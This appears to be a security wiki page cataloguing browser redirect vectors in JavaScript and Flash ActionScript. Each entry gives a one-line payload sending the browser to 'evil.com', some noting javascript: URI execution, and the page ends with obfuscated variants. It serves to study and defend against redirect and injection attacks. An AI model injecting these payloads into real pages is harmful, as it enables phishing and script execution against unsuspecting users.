Redirects are often important tools for attackers and even more often ignored as such. They can be used to initialize attacks, jump to malicious URLs, hide important content visible in the address bar or execute script code. This wiki page attempts to list all of them - no matter if initiated by the browser or delegated to the browser by other tools such as Flash content, Java applets and PDF files.
| Name | Code | Cross Domain | User Interaction | Referrer Leak | Notes |
| Setting location | location='http://evil.com/'; | Yes | No | | Note that you can access location by either using location, window.location (including all window, parent and top aliases) as well as document.location in most user agents. This is for the following variable assignments and method calls too. All properties can be set with javascript:, data: or vbscript: URIs to execute JavaScript on the originating domain. See MDC on location for more info: https://developer.mozilla.org/en/window.location |
| Setting location.href | location.href='http://evil.com/'; | Yes | No | | Similar to setting the location object. |
| Setting location.host | location.host='http://evil.com/'; | Yes | No | | Enables to manipulate the host(name) - but no other parts of the URI. |
| Setting location.hostname | location.hostname='http://evil.com/'; | Yes | No | | Enables to manipulate the hostname - but no other parts of the URI. |
| Setting location.reload | location.reload='http://evil.com/'; | Yes | No | | Works on Internet Explorer. Most methods of the location object can just be assigned with values to perform arbitrary redirects. |
| Calling location.replace() | location.replace('http://evil.com/'); | Yes | No | | Simple replacement of the whole URI. Works with arbitrary protocol handlers such as javascript:. |
| Calling location.assign() | location.assign('http://evil.com/'); | Yes | No | | Simple assignment of a new URI. Works with arbitrary protocol handlers such as javascript:. |
| Calling location.reload() | location.reload('http://evil.com/'); | Yes | No | | Simple assignment of a new URI. Works with arbitrary protocol handlers such as javascript:. |
| Calling window.navigate() | window.navigate('http://evil.com/'); | Yes | No | | This method is non-standard and currently being supported by Internet Explorer and Opera. http://msdn.microsoft.com/en-us/library/ms536638%28v=vs.85%29.aspx |
| Calling window.open() | window.open('http://evil.com/'); | Yes | Yes | | Most modern browsers will activate the popup blocker before performing the request. Thus the user interaction flag is set to Yes. This method call is not necessarily a redirect but can be turned into one by consolidating name and target value of opener and popup. Arbitrary URIs and protocol handlers can be used with this method. |
| Calling showModalDialog() | window.showModalDialog('http://evil.com/'); | Yes | Yes | | Same as with window.open() this method call activates the popup blocker if not called with a trusted event. Arbitrary URIs and protocol handlers can be used with this method. http://msdn.microsoft.com/en-us/library/ms536759%28v=vs.85%29.aspx |
| Calling showModelessDialog() | window.showModelessDialog("http://evil.com/"); | Yes | No | | Only works on Internet Explorer. Same as with window.open() this method call activates the popup blocker if not called with a trusted event. Arbitrary URIs and protocol handlers can be used with this method. http://msdn.microsoft.com/en-us/library/ms536761%28v=vs.85%29.aspx |
| Setting document.URL | document.URL='http://evil.com/'; | Yes | No | | This non standard behavior only works in Internet Explorer. Its possible to use arbitrary protocol handlers - such as for example javascript: and vbscript: to execute JavaScript. |
| Evil Framebuster | top.location.href='http://evil.com/' | Yes | No | | Equivalent to the aforementioned location setters - yet worth mentioning due to many popular services allowing iframe from trusted and semi-trusted domains |
| History pushState() Redirect | with(history)pushState(null, null, 'http://evil.com/'),go() | No | No | | HTML5 enabled browsers supporting history.pushState() provide another possibility to conduct on-site redirects. Note that the URL passed as third method argument has to comply the SOP rules. http://html5sec.org/#103 |
| History go() Redirect | history.go('http://evil.com/') | Yes | Yes/No | | This trick is working on Internet Explorer - but requires the user to have visited the redirect target before so it's exact representation occurs in the history array: http://msdn.microsoft.com/en-us/library/ms536443%28v=VS.85%29.aspx |
| Name | Code | Cross Domain | User Interaction | Referrer Leak | Notes |
| getURL() Redirect | getURL('http://evil.com/', '_self') | Yes | No | | It is possible to use javascript: URIs and other protocol handlers to execute JavaScript. The domain context depends on the domain the Flash file is being stored on if opened directly - or embedded from if instantiated via <object> or <embed>. More info on getURL() can be found here: http://kb2.adobe.com/cps/141/tn_14192.html This method has been introduced with ActionScript 2.0. |
| navigateToURL() Redirect | var url:URLRequest = new URLRequest("http://www.adobe.com");navigateToURL(url, "_self"); | Yes | No | | The navigateToURL() method is the ActionScript 3.0 equivalent for getURL(). As getURL() this method can be used with javascript: URIs and other protocol handlers. More info can be found here: http://kb2.adobe.com/cps/141/tn_14192.html#main_getURL_navigateToURL |
| fscommand Redirects | fscommand("open", "http://evil.com/|foo"); | Yes | No | | The fscommand method is used to execute methods available on the HTML page embedding the Flash file. Multiple parameters can be separated by the pipe character | as shown in http://kb2.adobe.com/cps/141/tn_14192.html#main_fscommand |
| ExternalInterface | ExternalInterface.call("window.open", "http://evil.com", "foo"); | Yes | No | | Similar to fscommand the ExternalInterface object and its call() method can be used to execute JavaScript on the embedding HTML document. The object is available since Flash Player version 8 http://kb2.adobe.com/cps/141/tn_14192.html#main_ExternalInterface |
document.location='http://evil.com'
-{valueOf:location,toString:Function('return"http:evil.com"')} ~location('http:evil.com')
location.reload('http:/evil.com')
thanks